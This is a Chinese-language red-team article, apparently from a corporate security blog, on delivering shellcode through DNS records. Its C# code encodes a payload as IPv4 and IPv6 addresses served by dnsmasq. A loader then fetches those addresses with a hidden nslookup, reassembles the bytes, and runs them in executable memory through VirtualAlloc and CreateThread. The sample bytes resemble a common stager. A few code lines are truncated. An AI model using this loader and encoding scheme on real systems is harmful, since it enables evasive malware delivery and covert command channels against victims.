作者简介 /Profile/
罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。
-
0x01 什么是dns A记录
-
0x02 DNS A记录的利用思路
-
2.1 工具DNSmasq
-
2.2 利用思路
-
2.3 dns A记录传输数据优点
-
0x03 IPV4 DNS A记录的利用设计
-
3.1 使用限制
-
3.2 设计思路
-
3.3 代码实现
-
3.3.1 Dns_Create
-
3.3.2 开启DNS服务器
-
3.3.3 读取DNS A记录的Loader
-
3.4 利用结果
-
0x04 IPV6 DNS A记录的利用设计
-
4.1 ipv6格式
-
4.2 ipv6解析详情
-
4.3 IPV6 DNS A记录传输数据
-
4.4 C#实现IPV6 DNS A记录传输数据
-
4.4.1 DnsCreater
-
4.4.2 开启dns服务
-
4.4.3 IPV6 DNS A记录Loader
-
4.5 利用结果
-
0x05 拓展思路
-
0x06 结论
0x01 什么是DNS A记录
λ nslookup micorsoft.com 8.8.8.8
服务器: google-public-dns-a.google.com
Address: 8.8.8.8
非权威应答:
名称: micorsoft.com
Address: 209.15.13.134
0x02 DNS A记录的利用思路
2.1 工具DNSmasq
vim /etc/hosts
#添加下面一行
192.168.1.22 java.com
dnsmasq --no-daemon --log-queries
2.2 利用思路
2.3 dns A记录传输数据优点
0x03 IPV4 DNS A记录的利用设计
3.1 使用限制
0.0.51.66 java.com #能解析
192.168.1.255 java.com #能解析
192.168.1.256 java.com #不能解析
192.168.333.255 java.com #不能解析
[xxx.xx.xxx].[yyy]
3.2 设计思路
-
首先解决DNS A记录解析无序的问题
-
解决合理的IP数据解析的问题
3.3 代码实现
3.3.1 Dns_Create
string[] payload = _Payload.Replace(" ", "").Split(',');
int ip_counter = 0;
if (payload.Length % 3 == 0)
{
ip_counter = payload.Length / 3;
}
else
{
ip_counter = (payload.Length / 3 + 1);
}
int[] payload_int = new int[ip_counter * 3];
for (int i = 0; i < payload.Length; i++)
{
payload_int[i] = Convert.ToInt32(payload[i], 16);
}
if (ip_counter <= 256)
{
for (int i = 0; i < ip_counter; i++)
{
string ip = null;
for (int j = 0; j < 3; j++)
{
ip += payload_int[i * 3 + j] + ".";
}
Console.WriteLine("{0} {1}", ip + i, "Microsoft.com"); //注意此处填充ip的最后一位i,其实是payload的排列顺序,在得到解析数据后要根据它来排序出正确顺序的payload。
}
}
else
{
...
}
252.232.137.0 Microsoft.com
0.0.0.1 Microsoft.com
96.137.229.2 Microsoft.com
49.210.100.3 Microsoft.com
139.82.48.4 Microsoft.com
139.82.12.5 Microsoft.com
...
198.139.7.11 Google.com
1.195.133.12 Google.com
192.117.229.13 Google.com
88.195.232.14 Google.com
137.253.255.15 Google.com
255.49.48.16 Google.com
46.48.46.17 Google.com
48.46.56.18 Google.com
0.0.0.19 Google.com
0.0.0.20 Google.com
3.3.2 开启DNS服务器
vim /etc/hosts
96.137.229.2 Microsoft.com
49.210.100.3 Microsoft.com
139.82.48.4 Microsoft.com
139.82.12.5 Microsoft.com
...
198.139.7.11 Google.com
1.195.133.12 Google.com
192.117.229.13 Google.com
dnsmasq #启动dnsmasq
dnsmasq --no-daemon --log-queries #记录日志
λ nslookup microsoft.com 10.0.0.88
服务器: UnKnown
Address: 10.0.0.88
名称: microsoft.com
Addresses: 0.0.0.1
96.137.229.2
49.210.100.3
139.82.48.4
139.82.12.5
139.82.20.6
139.114.40.7
15.183.74.8
3.3.3 读取DNS A记录的Loader
ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DomainName + " " + DnsServer);
ns_Prcs_info.RedirectStandardInput = true;
ns_Prcs_info.RedirectStandardOutput = true;
ns_Prcs_info.UseShellExecute = false;
Process nslookup = new Process();
nslookup.StartInfo = ns_Prcs_info;
nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
nslookup.Start();
string computerList = nslookup.StandardOutput.ReadToEnd();
服务器: UnKnown
Address: 10.0.0.88
名称: microsoft.com
Addresses: 0.0.0.1
96.137.229.2
49.210.100.3
//格式化接收到的数据
string[] lines = computerList.Replace("t","").Replace("r","").Split('n');
int ID = 0;
//删除解析头数据
foreach (var item in lines)
{
if (item.Contains(DNS_PTR_A))
{
break;
}
ID++;
}
//将解析的ip数据存入数组
List<string> A_Records = new List<string>();
try
{
int FindID_FirstAddress = ID + 1;
A_Records.Add(lines[FindID_FirstAddress].Split(':')[1].Substring(2));
for (int iq = FindID_FirstAddress + 1; iq < lines.Length - 2; iq++)
{
A_Records.Add(lines[iq].Replace(" ",""));
}
}
List<int> Keys = new List<int>();
List<string> Values = new List<string>();
foreach (var item in A_Records)
{
int key = int.Parse(item.Split('.')[3]);
Keys.Add(key);
Values.Add(item);
}
var dict = new Dictionary<int, string>();
for (int i = 0; i < Keys.Count; i++)
dict.Add(Keys[i], Values[i]);
Keys.Sort();
List<string> sortedVals = new List<string>();
for (int i = 0; i < Keys.Count; i++)
{
sortedVals.Add(dict[Keys[i]]);
}
byte[] XxXPayload = new byte[sortedVals.Count * 3];
Int32 Xnumber = 0;
for (int i = 0; i < sortedVals.Count; i++)
{
string[] temp = sortedVals[i].Split('.');
XxXPayload[Xnumber] = Convert.ToByte(temp[0]);
XxXPayload[Xnumber + 1] = Convert.ToByte(temp[1]);
XxXPayload[Xnumber + 2] = Convert.ToByte(temp[2]);
Xnumber++;
Xnumber++;
Xnumber++;
}
List<byte> data = new List<byte>();
byte[] data1 = __nslookup("Microsoft.com", dns_server);
data.AddRange(data1);
byte[] data2 = __nslookup("Google.com", dns_server);
if(data2 != null)
data.AddRange(data2);
byte[] _Exfiltration_DATA_Bytes_A_Records = data.ToArray();
UInt32 funcAddr = VirtualAlloc(0, (UInt32)_Exfiltration_DATA_Bytes_A_Records.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
0, (IntPtr)(funcAddr), _Exfiltration_DATA_Bytes_A_Records.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
0xFFFFFFFF);
3.4 利用结果
0x04 IPV6 DNS A记录的利用设计
4.1 ipv6格式
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
[xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:[yyyy]
4.2 ipv6解析详情
4805:0000:0000:0011:e87f:0000:0000:0065 - 4805::11:e87f:0:0:65
0000:0000:0000:302e:302e:3800:FFFF:0066 - ::302e:302e:3800:ffff:66
3800:0000:0000:302e:302e:3800:FFFF:0066 - 3800::302e:302e:3800:ffff:66
3800:0000:0000:0000:0000:3800:FFFF:0066 - 3800::3800:ffff:66
3800:0000:0000:0000:0000:3800:0000:0066 - 3800::3800:0:66
#payload:
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2
#格式化成ipv6的解析格式(FFFF是对当payload不是14的倍数时,对ipv6地址的填充)
fc48:83e4:f0e8:c800:0000:0000:4150:5251
5648:31d2:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF
#解析结果
fc48:83e4:f0e8:c800::4150:5251
5648:31d2:ffff:ffff:ffff:ffff:ffff:ffff
λ nslookup test.com 10.0.0.88
服务器: UnKnown
Address: 10.0.0.88
名称: test.com
Addresses: fc48:83e4:f0e8:c800::4150:5251
5648:31d2:ffff:ffff:ffff:ffff:ffff:ffff
4.3 IPV6 DNS A记录传输数据
-
解析数据的无序性
-
ipv6的压缩表示法造成的数据不完整
4.4 C#实现IPV6 DNS A记录传输数据
4.4.1 DnsCreater
string[] payload = _Payload.Replace(" ", "").Replace("0x","").Replace("00","aa").Split(',');
int ip_counter = 0;
if (payload.Length % 14 == 0)
{
ip_counter = payload.Length / 14;
}
else
{
ip_counter = (payload.Length / 14 + 1);
}
int n = 0;
int f = 0;
try
{
for (; n < 7; n++)
{
for (int m = 0; m < 2; m++)
{
p += payload[flag];
f++;
flag++;
}
p += ":";
f = 0;
}
}
catch
{
switch (n)
{
case 0: p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:"; break;
case 1:
if (f == 0) {
p += "FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:";
}
else
{
p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:";
}
break;
...
}
}
int v = i + 1;
Console.WriteLine("{0}{1} {2}", p, v.ToString("0000"), "Microsoft.com");
fc48:83e4:f0e8:c8aa:aaaa:4151:4150:0001 Microsoft.com
5251:5648:31d2:6548:8b52:6048:8b52:0002 Microsoft.com
1848:8b52:2048:8b72:5048:0fb7:4a4a:0003 Microsoft.com
...
4805:aaaa:aaaa:50c3:e87f:fdff:ff31:0065 Microsoft.com
302e:302e:302e:38aa:aaaa:aaaa:FFFF:0066 Microsoft.com
4.4.2 开启dns服务
4.4.3 IPV6 DNS A记录Loader
public static string __zero(string str)
{
string[] temp_normalize = str.Split(':');
for (int ix = 0; ix < temp_normalize.Length; ix++)
{
int count = temp_normalize[ix].Length;
if (count < 4)
{
Console.ForegroundColor = ConsoleColor.Green;
for (int j = 0; j < 4 - count; j++)
{
temp_normalize[ix] = "0" + temp_normalize[ix];
}
}
}
return string.Join(":", temp_normalize);
}
string[] All_lines = computerList.Replace("t", "").Replace("r", "").Split('n');
int start = 0;
List<string> A_Records = new List<string>();
for (int x = 0; x < All_lines.Length; x++)
{
if (All_lines[x].ToUpper().Contains("ADDRESSES:"))
{
int f = All_lines[x].IndexOf("Addresses: ") + "Addresses: ".Length;
string str = All_lines[x].Substring(f, All_lines[x].Length - 12);
A_Records.Add(__zero(str));
start = x;
break;
}
}
for(int i = start + 1; i < All_lines.Length - 2; i++)
{
string str = All_lines[i].Replace(" ", "");
A_Records.Add(__zero(str));
}
List<string> Keys = new List<string>();
List<string> Values = new List<string>();
foreach (var item in A_Records)
{
string key = item.Split(':')[7];
Keys.Add(key);
string value = "";
for(int i = 0; i <= 6; i++)
{
value += item.Split(':')[i];
}
Values.Add(value);
}
var dict = new Dictionary<string, string>();
for (int i = 0; i < Keys.Count; i++)
dict.Add(Keys[i], Values[i]);
Keys.Sort();
string DATA = "";
for (int i = 0; i < Keys.Count; i++)
{
DATA += dict[Keys[i]];
}
string tmp = string.Empty;
byte[] __Bytes = new byte[DATA.Length / 2];
string t = string.Empty;
for (int i = 0; i < __Bytes.Length; i++)
{
int str_start = i * 2;
tmp = DATA.Substring(str_start, 2);
if (tmp == "aa")
tmp = "00";
t += tmp;
byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
__Bytes[i] = current;
}
4.5 利用结果
0x05 拓展思路
0x06 结论
银河实验室
往期回顾
技术
技术
技术
技术
长按识别二维码关注我们
微信号:PSRC_Team
球分享
球点赞
球在看
原文始发于微信公众号(平安集团安全应急响应中心):利用DNS A记录执行Shellcode